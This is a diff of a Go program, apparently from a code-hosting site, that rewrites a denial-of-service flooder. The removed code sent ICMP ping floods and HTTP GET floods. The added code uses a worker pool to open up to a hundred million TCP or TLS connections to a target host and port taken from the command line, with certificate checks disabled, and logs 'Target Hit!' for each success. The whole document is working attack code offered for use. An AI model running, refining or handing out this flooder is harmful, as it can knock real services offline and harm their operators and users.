1
1
package main
2
2
3
3
import (
4
- "fmt"
5
- "net/http"
6
4
"os"
7
- "strconv"
8
- "sync"
9
- "strings"
10
- "github.com/sparrc/go-ping"
5
+ "log"
6
+ str "strconv"
7
+ "net"
8
+ "fmt"
9
+ "crypto/tls"
11
10
)
12
11
13
12
var (
14
- wg sync.WaitGroup
15
- mutex sync.Mutex
16
- successfulHits int
17
- missedHits int
13
+ workers int
14
+ target string
15
+ port int
18
16
)
19
17
20
18
const (
21
- threadLimit = 5000
22
- icmp = "icmp"
23
- httpGet = "httpget"
19
+ jobCount = 100_000_000 // AMOUNT of requests to send.
24
20
)
25
21
26
- func main () {
27
- method , target , threads := parseArgs ()
28
-
29
- fmt .Println ("Press CTRL + C to quit" )
30
- fmt .Println ()
31
- fmt .Println ("Attacking " + target + "..." )
32
-
33
- for i := 0 ; i < threads ; i ++ {
34
- wg .Add (1 )
35
-
36
- switch method {
37
- case icmp :
38
- go icmpFlood (target , & wg )
39
- case httpGet :
40
- go httpGetFlood (target , & wg )
41
- default :
42
- fmt .Println ("Method chosen not available" )
43
- os .Exit (1 )
44
- }
45
- }
46
- wg .Wait ()
22
+ func init () {
23
+ parseArgs (& workers , & target , & port )
47
24
}
48
25
49
- func parseArgs () (method string , target string , numbOfThreads int ) {
50
- if len (os .Args ) != 4 {
51
- fmt .Println ("Error: Wrong arguements passed" )
52
- fmt .Println ()
53
- fmt .Println (`Usage: <method> <target> <threads>` )
26
+ func httpAttackWorker (workerID int , jobs chan int , result chan int ) {
27
+ switch port {
28
+ case 80 :
29
+ for job := range jobs {
30
+ address := target + ":" + str .Itoa (port )
31
+ _ , err := net .Dial ("tcp" , address )
54
32
55
- fmt .Println (`Example: www.mysite.com 100` )
56
- fmt .Println ()
33
+ if err != nil {
34
+ log .Printf ("Worker: %d - Bad response from target! - %d \n " , workerID , job )
35
+ result <- 0
36
+ continue
37
+ }
38
+
39
+ log .Printf ("Worker: %d - Job:%d - Target Hit! \n " , workerID , job )
40
+ result <- 1
41
+ }
42
+ case 443 :
43
+ config := & tls.Config { InsecureSkipVerify : true , }
44
+
45
+ for job := range jobs {
46
+ address := target + ":" + str .Itoa (port )
47
+ _ , err := tls .Dial ("tcp" , address , config )
48
+
49
+ if err != nil {
50
+ log .Printf ("Worker: %d - Bad response from target! - %d \n " , workerID , job )
51
+ result <- 0
52
+ continue
53
+ }
54
+
55
+ log .Printf ("Worker: %d - Job:%d - Target Hit! \n " , workerID , job )
56
+ result <- 1
57
+ }
58
+ default :
59
+ fmt .Println ("Invalid port number entered." )
60
+ os .Exit (1 )
61
+ }
62
+ }
57
63
64
+ func parseArgs (workers * int , target * string , port * int ) {
65
+ if len (os .Args ) < 4 {
66
+ log .Println ("Not enough parameters passed. " )
67
+ fmt .Println ("Usage: go run main.go <threads> <target> <port>" )
58
68
os .Exit (1 )
59
69
}
60
- // Parsed args
61
- method = strings .ToLower (os .Args [1 ])
62
- target = os .Args [2 ]
63
- numbOfThreads , _ = strconv .Atoi (os .Args [3 ])
64
70
65
- if (areNumberOfThreadsValid (numbOfThreads )) == false {
66
- fmt .Println ("Error: The number of threads you enter exceeds the limit; " , threadLimit )
71
+ if _ , err := str .Atoi (os .Args [1 ]); err != nil {
72
+ log .Println ("Thread must be a number" )
73
+ fmt .Println ("Usage: go run main.go <threads> <target> <port>" )
67
74
os .Exit (1 )
68
75
}
69
- return method , target , numbOfThreads
70
- }
71
-
72
- func areNumberOfThreadsValid (threads int ) bool {
73
- threads = int (threads )
74
76
75
- if threads > threadLimit {
76
- return false
77
+ if _ , err := str .Atoi (os .Args [3 ]); err != nil {
78
+ log .Println ("Port must be a number" )
79
+ fmt .Println ("Usage: go run main.go <threads> <target> <port>" )
80
+ os .Exit (1 )
77
81
}
78
- return true
79
- }
80
-
81
- func httpGetFlood (target string , wg * sync.WaitGroup ) {
82
- for {
83
- _ , err := http .Get (target )
84
-
85
- if err != nil { // Server could be down as failed to get a response from host.
86
- mutex .Lock ()
87
- missedHits ++
88
- fmt .Print (missedHits , " missed hits \r " )
89
- mutex .Unlock ()
90
- }
91
82
92
- {
93
- mutex .Lock ()
94
- successfulHits ++
95
- fmt .Print (successfulHits , " direct hits \r " )
96
- mutex .Unlock ()
97
- }
98
- }
99
- wg .Done ()
83
+ // On succesful conversion, set worker count
84
+ * workers ,_ = str .Atoi (os .Args [1 ])
85
+ * target = os .Args [2 ]
86
+ * port ,_ = str .Atoi (os .Args [3 ])
100
87
}
101
88
102
- func icmpFlood (target string , wg * sync.WaitGroup ) {
103
- pinger , err := ping .NewPinger (target )
104
-
105
- if err != nil {
106
- fmt .Println ("Failed to get a response from host" )
107
- }
89
+ func sendJobsToWorkers (jobCount int , jobs chan int ){
90
+ for j := 0 ; j <= jobCount ; j ++ {
91
+ jobs <- j
92
+ }
93
+ log .Println ("Jobs placed in buff3r." )
94
+ close (jobs )
95
+ }
108
96
109
- pinger .Count = 10000 // Packets to send
110
- pinger .Size = 127 // 127 bytes in size
111
- pinger .Run () // Blocks until complete
97
+ func startWorkers (workers int , jobs , results chan int ) {
98
+ for w := 1 ; w < workers ; w ++ {
99
+ go httpAttackWorker (w , jobs , results )
100
+ }
101
+ }
112
102
113
- stats := pinger .Statistics ()
114
- fmt .Print ("%d sent - %d packet loss" , stats .PacketsSent , stats .PacketLoss )
103
+ func main () {
104
+ jobs := make (chan int , jobCount )
105
+ results := make (chan int , jobCount )
115
106
116
- wg .Done () // Decrement thread counter once complete
117
- fmt .Println ("Ping Complete." )
118
- }
107
+ go startWorkers (workers , jobs , results )
108
+ go sendJobsToWorkers (jobCount , jobs )
109
+
110
+ // - Blocks till jobs finished.
111
+ for r := 1 ; r < jobCount ; r ++ {
112
+ <- results
113
+ }
114
+
115
+ close (results )
116
+ log .Println ("Finished attacking. Workers put to sleep... " )
117
+ }
0 commit comments